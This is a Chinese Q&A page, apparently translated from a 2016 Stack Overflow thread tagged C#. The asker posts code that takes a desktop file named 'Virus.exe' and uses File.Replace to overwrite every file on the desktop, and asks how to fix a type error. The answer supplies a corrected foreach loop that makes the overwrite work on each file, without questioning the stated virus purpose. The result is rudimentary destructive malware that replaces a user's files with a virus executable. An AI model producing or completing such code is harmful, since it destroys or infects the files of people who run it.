你能将IEnumerated字符串转换为普通字符串吗?

时间:2016-03-02 16:14:21

标签: c#

我用这个来查找和替换exe文件

public static void Replace()
{
    string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
    IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
    string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
    File.Replace (origFile, toOverwrite, backupFile); //replaces files
}
public static IEnumerable<string> EnumerateFiles()
{
    string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop
    IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files
    return exeFiles; //Returns enumerated list of files
}

但是当我执行File.Replace方法时,它告诉我我无法将IEnumerable String转换为普通的String。如何在不更改值的情况下更改字符串类型?

1 个答案:

答案 0 :(得分:2)

那是因为IEnumeable是一堆字符串。 File.Replace需要一个字符串。你想要做的事情没有意义。我怀疑你需要遍历toOverwrite集合中的文件

public static void Replace()
        {
            string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
            IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
            string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
           foreach(var file in toOverwrite)
          {
              File.Replace (origFile, file, backupFile); //replaces files
          }
}